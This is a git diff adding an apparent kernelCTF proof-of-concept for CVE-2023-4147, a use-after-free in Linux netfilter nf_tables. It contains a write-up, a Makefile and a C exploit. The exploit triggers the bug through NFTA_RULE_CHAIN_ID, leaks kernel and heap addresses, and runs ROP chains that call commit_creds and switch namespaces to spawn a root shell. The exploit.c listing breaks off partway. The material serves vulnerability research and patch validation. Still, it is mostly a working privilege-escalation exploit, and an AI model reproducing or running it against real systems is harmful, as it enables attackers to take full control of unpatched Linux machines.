diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/exploit.md new file mode 100644 index 00000000..fbdf2424 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/exploit.md @@ -0,0 +1,189 @@ +### Triggering Vulnerability + +`nf_tables_newrule` disallows adding a new rule to the bound chain [1], but when adding a rule with `NFTA_RULE_CHAIN_ID` a rule is added to the bound chain [2]. + +```c +static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info, + const struct nlattr * const nla[]) +{ + ... + + table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask, + NETLINK_CB(skb).portid); + if (IS_ERR(table)) { + NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]); + return PTR_ERR(table); + } + + if (nla[NFTA_RULE_CHAIN]) { + chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN], + genmask); + if (IS_ERR(chain)) { + NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]); + return PTR_ERR(chain); + } + if (nft_chain_is_bound(chain)) // [1] + return -EOPNOTSUPP; + + } else if (nla[NFTA_RULE_CHAIN_ID]) { + chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]); // [2] + if (IS_ERR(chain)) { + NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]); + return PTR_ERR(chain); + } + } else { + return -EINVAL; + } +``` + +We can trigger the vulnerability as follows: + +- Create two chains, `Base` and `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. +- Create an anonymous set `Victim`. +- Create a set element in set `Victim`. +- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with an `lookup expr` referencing the `Victim`. +- Delete the `R1`. This results in `Victim` being free from the destroy phase [3]. +- Delete the set element in `Victim`. This results in a UAF that references `Victim` that was freed in previous step [4]. + +```c +static void nft_commit_release(struct nft_trans *trans) +{ + switch (trans->msg_type) { + ... + case NFT_MSG_DELSET: + nft_set_destroy(&trans->ctx, nft_trans_set(trans)); // [3] + break; + case NFT_MSG_DELSETELEM: + nf_tables_set_elem_destroy(&trans->ctx, + nft_trans_elem_set(trans), // [4] + nft_trans_elem(trans).priv); + break; + ... +} +``` + +### Information Leak + +The KASLR address and heap address are leaked through `nft_rule` allocated in `kmalloc-cg-192`. The leak process is as follows: + +- Create four chains, `Base`, `Vulnerable`, `Chain_Victim`, and `Target`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. +- Create chains `Chain_Victim2_n` for the victim rules created in the next step. In this exploit, 0x30 chains are sprayed. +- Create an anonymous rhash set `Set_Victim`. +- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. + +- Create rules `Rule_Victim2_n` in `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-192`. +- Create rules `Rule_Targret_n` in `Target` with an `counter expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`. +- Create rules `Rule_Victim_n` in `Chain_Victim` with an `immediate expr` referencing the `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-256`. + +- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. We can add the rule to bound chain `Vulnerable` because of the vulnerability. +- Delete the `R1`. When `R1` is destroyed, `nft_immediate_destroy` is called to destroy `R2`, the rule of `Vulnerable` that is bound to `R1`. This results in `Set_Victim` being free in `nft_lookup_destroy` from the destroy phase. +- Delete the set element in `Set_Victim`. This will reference the `Set_Victim` freed in the previous step in the `nf_tables_set_elem_destroy`, causing a UAF. + +```c +static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx, + const struct nft_set *set, void *elem) +{ + struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [5] + + if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS)) + nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [6] + + kfree(elem); +} +``` + +```c +static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set, + void *elem) +{ + return elem + set->ops->elemsize; // [7] +} +``` + +- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [5], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [7]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [6]. This frees `Rule_Victim2_n` in `Chain_Victim2_n`. However, `Chain_Victim2_n` and `Rule_Victim2_n` remain accessible. +- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`). Set `nft_rule->udata` of the fake rule to 1 and `nft_rule->udata->len` to 0xff. +- Get the fake rule will read 0xff bytes start from `nft_rule->udata`. As a result, we can obtain kbase (`nft_counter_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`) of `Rule_Targret_n`. + +### RIP Control + +- Create two chains, `Base`, `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. +- Create an anonymous rbtree set `Set_Victim`. +- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. +- Spray fake exprs using `table->udata` in `kmalloc-cg-256`. +- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. +- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase. +- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step. +- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [8]. + +```c +static void nf_tables_expr_destroy(const struct nft_ctx *ctx, + struct nft_expr *expr) +{ + const struct nft_expr_type *type = expr->ops->type; + + if (expr->ops->destroy) + expr->ops->destroy(ctx, expr); // [8] + module_put(type->owner); +} +``` + +### Post RIP + +Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `counter_ops` with `fake ops` address. + +```c +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + counter_ops_addr_off; + + data[i++] = kbase + pop_rsi_ret; + data[i++] = heap_addr+0x40; // fake ops + data[i++] = kbase + mov_ptr_rdi_rsi; + data[i++] = kbase + msleep_off; + + data[i++] = 0; + data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret; + data[i++] = 0; + data[i++] = 0; + data[i++] = 8; // ops.size + data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init +} +``` + +Then, when creating `counter expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell. + +```c +void make_payload2(uint64_t* data){ + int i = 0; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/vulnerability.md new file mode 100644 index 00000000..8e2903a0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilites: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7 +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211 +- Affected Version: v5.9-rc1 - v6.5-rc3 +- Affected Component: net/netfilter +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147 +- Cause: Use-After-Free +- Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/Makefile b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/Makefile new file mode 100644 index 00000000..c89f9f51 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/Makefile @@ -0,0 +1,42 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cp rule.c $(LIBNFTNL_DIR)/libnftnl-1.2.5/src/ + cp rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/ + cp libnftnl_rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/libnftnl/rule.h + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit new file mode 100755 index 00000000..4797f6c7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit.c new file mode 100644 index 00000000..685cf57c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit.c @@ -0,0 +1,996 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +uint64_t find_task_by_vpid_off = 0x10a0d0; +uint64_t switch_task_namespaces_off = 0x111c80; +uint64_t commit_creds_off = 0x1136f0; +uint64_t init_cred_off = 0x26618c0; +uint64_t init_nsproxy_off = 0x2661680; +uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x12010c6; +uint64_t nft_counter_ops_off = 0x1af8340; +uint64_t msleep_off = 0x17da60; +uint64_t counter_ops_addr_off = 0x293a220+0x10; + +// 0xffffffff81e69be9 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404440 +// 0xffffffff811481f3 : pop rdi ; jmp 0xffffffff82404440 +// 0xffffffff810d813f : pop rsi ; jmp 0xffffffff82404440 +// 0xffffffff8161dd6a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404440 +// 0xffffffff810081ad : pop rsp ; jmp 0xffffffff82404440 + +// 0xffffffff8106f410 : mov qword ptr [rdi], rsi ; jmp 0xffffffff82404440 +// 0xffffffff81c77e68 : push rsi ; jmp qword ptr [rsi + 0xf] +// 0xffffffff811481ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82404440 + +uint64_t push_rbx_pop_rsp_pop_rbp_ret = 0xe69be9; +uint64_t pop_rdi_ret = 0x1481f3; +uint64_t pop_rsi_ret = 0x0d813f; +uint64_t mov_rdi_rax_ret = 0x61dd6a; +uint64_t pop_rsp_ret = 0x0081ad; + +uint64_t mov_ptr_rdi_rsi = 0x06f410; +uint64_t push_rsi_jmp_rsi_f = 0xc77e68; +uint64_t pop_rsp_pop_r13_pop_r14_pop_r15_ret = 0x1481ed; + +uint64_t nft_counter_ops = 0; +uint64_t kbase = 0; +uint64_t heap_addr = 0; +uint64_t heap_addr1 = 0; +uint64_t heap_addr2 = 0; + +struct mnl_socket * nl; +uint32_t portid; + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT, 0644); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +void pwn(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +uint64_t _user_rip = (uint64_t) pwn; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +// We can put everthing in the Table1. Just need to change the rule_handle. +char * table1_name = "table1"; +char * table2_name = "table2"; +char * table3_name = "table3"; + +char * chain1_name = "chain1"; +char * chain2_name = "chain2"; +char * chain_victim_name = "chain3"; +char * chain_target_name = "chain4"; + +char * set1_name = "set1"; +char * set_delay_name = "set_delay"; + +uint8_t family = NFPROTO_IPV4; + +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + counter_ops_addr_off; + + data[i++] = kbase + pop_rsi_ret; + data[i++] = heap_addr+0x40; // fake ops + data[i++] = kbase + mov_ptr_rdi_rsi; + data[i++] = kbase + msleep_off; + + data[i++] = 0; + data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret; + data[i++] = 0; // fake_ops start + data[i++] = 0; + data[i++] = 8; // ops.size + data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init +} + +void make_payload2(uint64_t* data){ + int i = 0; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} + +#define FAKE_RULE_SPRAY_COUNT 0x80 +#define FAKE_EXPR_SPRAY_COUNT 0x40 + +#define SET_DELAY_ELEM 0x1000 +#define SET_SPRAY_COUNT 50 + +#define VICTIM_SPARY_COUNT 0x30 +#define TARGET_SPRAY_COUNT 0x8 + +void trig(){ + int chain_id = 31337; + + struct nftnl_table * table1 = nftnl_table_alloc(); + nftnl_table_set_str(table1, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table1, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_table * table2 = nftnl_table_alloc(); + nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name); + nftnl_table_set_u32(table2, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_table * table3 = nftnl_table_alloc(); + nftnl_table_set_str(table3, NFTNL_TABLE_NAME, table3_name); + nftnl_table_set_u32(table3, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain2 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_ID, chain_id); + + struct nftnl_chain * chain_victim = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_victim, NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chain_victim, NFTNL_CHAIN_NAME, chain_victim_name); + nftnl_chain_set_u32(chain_victim, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_target = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_target, NFTNL_CHAIN_TABLE, table3_name); + nftnl_chain_set_str(chain_target, NFTNL_CHAIN_NAME, chain_target_name); + nftnl_chain_set_u32(chain_target, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_set * set1 = nftnl_set_alloc(); + nftnl_set_set_str(set1, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set1, NFTNL_SET_NAME, set1_name); + nftnl_set_set_u32(set1, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS); + nftnl_set_set_u32(set1, NFTNL_SET_KEY_LEN, 64); + nftnl_set_set_u32(set1, NFTNL_SET_ID, 1337); + + struct nftnl_set * set1_del = nftnl_set_alloc(); + nftnl_set_set_str(set1_del, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set1_del, NFTNL_SET_NAME, set1_name); + + struct nftnl_set * set1_elem = nftnl_set_alloc(); + + nftnl_set_set_str(set1_elem, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set1_elem, NFTNL_SET_NAME, set1_name); + + struct nftnl_set_elem * elem = nftnl_set_elem_alloc(); + + unsigned long key_data[0x100] = {0,}; + + key_data[1] = 0xf800000000; + + char elem_data[0x100] = {0,}; + + nftnl_set_elem_set(elem, NFTNL_SET_ELEM_KEY, &key_data, 0x40); + nftnl_set_elem_set(elem, NFTNL_SET_ELEM_USERDATA, elem_data, 0x80); + nftnl_set_elem_add(set1_elem, elem); + + char *set_name; + struct nftnl_set * sets_rbtree[SET_SPRAY_COUNT]; + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + asprintf(&set_name, "set%02hx", i); + + struct nftnl_set * set_spray = nftnl_set_alloc(); + nftnl_set_set_str(set_spray, NFTNL_SET_TABLE, table2_name); + nftnl_set_set_str(set_spray, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_spray, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_INTERVAL); + nftnl_set_set_u32(set_spray, NFTNL_SET_KEY_LEN, 64); + nftnl_set_set_u32(set_spray, NFTNL_SET_ID, i+100); + sets_rbtree[i] = set_spray; + } + + struct nftnl_set * sets_rbtree2[SET_SPRAY_COUNT]; + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + asprintf(&set_name, "set2%02hx", i); + + struct nftnl_set * set_spray = nftnl_set_alloc(); + nftnl_set_set_str(set_spray, NFTNL_SET_TABLE, table2_name); + nftnl_set_set_str(set_spray, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_spray, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_INTERVAL); + nftnl_set_set_u32(set_spray, NFTNL_SET_KEY_LEN, 64); + nftnl_set_set_u32(set_spray, NFTNL_SET_ID, i+100); + sets_rbtree2[i] = set_spray; + } + + struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name); + nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate); + + struct nftnl_rule * rule_lookup_set1 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_TABLE, table1_name); + // nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_CHAIN, chain2_name); + nftnl_rule_set_u32(rule_lookup_set1, NFTNL_RULE_CHAIN_ID, chain_id); + + struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup"); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00); + nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, set1_name); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SET_ID, 1337); + nftnl_rule_add_expr(rule_lookup_set1, expr_lookup); + + struct nftnl_chain * chains_victim2[VICTIM_SPARY_COUNT]; + struct nftnl_rule * rules_bind_victim_victim2[VICTIM_SPARY_COUNT]; + struct nftnl_rule * rules_victim2[VICTIM_SPARY_COUNT]; + + // Leak kaslr. Using nft_counter for LTS and Mitigation (v6.1) and nft_last for COS (v5.15) + struct nftnl_expr * expr_counter; + + char* chain_victim2_name; + char rule_data[0x100] = {0,}; + + for(int i = 0 ; i < VICTIM_SPARY_COUNT; i++){ + asprintf(&chain_victim2_name, "c_%010hx", i); + + chains_victim2[i] = nftnl_chain_alloc(); + nftnl_chain_set_str(chains_victim2[i], NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chains_victim2[i], NFTNL_CHAIN_NAME, chain_victim2_name); + nftnl_chain_set_u32(chains_victim2[i], NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + + rules_bind_victim_victim2[i] = nftnl_rule_alloc(); + + nftnl_rule_set_str(rules_bind_victim_victim2[i], NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rules_bind_victim_victim2[i], NFTNL_RULE_CHAIN, chain_victim_name); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_victim2_name); + + nftnl_rule_add_expr(rules_bind_victim_victim2[i], expr_immediate); + + for(int j = 0 ; j < 12; j++){ + expr_counter = nftnl_expr_alloc("counter"); + nftnl_rule_add_expr(rules_bind_victim_victim2[i], expr_counter); + } + + rules_victim2[i] = nftnl_rule_alloc(); + + memset(rule_data, 'b', 0x100); + + nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_CHAIN, chain_victim2_name); + nftnl_rule_set_data(rules_victim2[i], NFTNL_RULE_USERDATA, rule_data, 192-25); + } + + struct nftnl_rule * rule_target = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_target, NFTNL_RULE_TABLE, table3_name); + nftnl_rule_set_str(rule_target, NFTNL_RULE_CHAIN, chain_target_name); + nftnl_rule_set_data(rule_target, NFTNL_RULE_USERDATA, rule_data, 192-25-24); + + expr_counter = nftnl_expr_alloc("counter"); + nftnl_rule_add_expr(rule_target, expr_counter); + + struct nftnl_rule * rule_target_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_target_del, NFTNL_RULE_TABLE, table3_name); + nftnl_rule_set_str(rule_target_del, NFTNL_RULE_CHAIN, chain_target_name); + + struct nftnl_rule * rule_bind_chain_1_2_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 5); + + struct nftnl_set * set_delay = nftnl_set_alloc(); + nftnl_set_set_str(set_delay, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_delay, NFTNL_SET_NAME, set_delay_name); + nftnl_set_set_u32(set_delay, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS); + nftnl_set_set_u32(set_delay, NFTNL_SET_KEY_LEN, 4); + nftnl_set_set_u32(set_delay, NFTNL_SET_ID, 1338); + + struct nftnl_set * set_delay_elems[SET_DELAY_ELEM]; + struct nftnl_set_elem * delay_elem; + + memset(key_data, 0, 0x100); + + for(int i = 0; i < SET_DELAY_ELEM; i++){ + set_delay_elems[i] = nftnl_set_alloc(); + + nftnl_set_set_str(set_delay_elems[i], NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_delay_elems[i], NFTNL_SET_NAME, set_delay_name); + + delay_elem = nftnl_set_elem_alloc(); + + key_data[0]++; + + nftnl_set_elem_set(delay_elem, NFTNL_SET_ELEM_KEY, &key_data, 4); + nftnl_set_elem_add(set_delay_elems[i], delay_elem); + } + + struct nftnl_set * set_delay_del = nftnl_set_alloc(); + nftnl_set_set_str(set_delay_del, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_delay_del, NFTNL_SET_NAME, set_delay_name); + nftnl_set_set_u32(set_delay_del, NFTNL_SET_ID, 1338); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + int ret; + char read_data[0x1000] = {0,}; + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table3); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 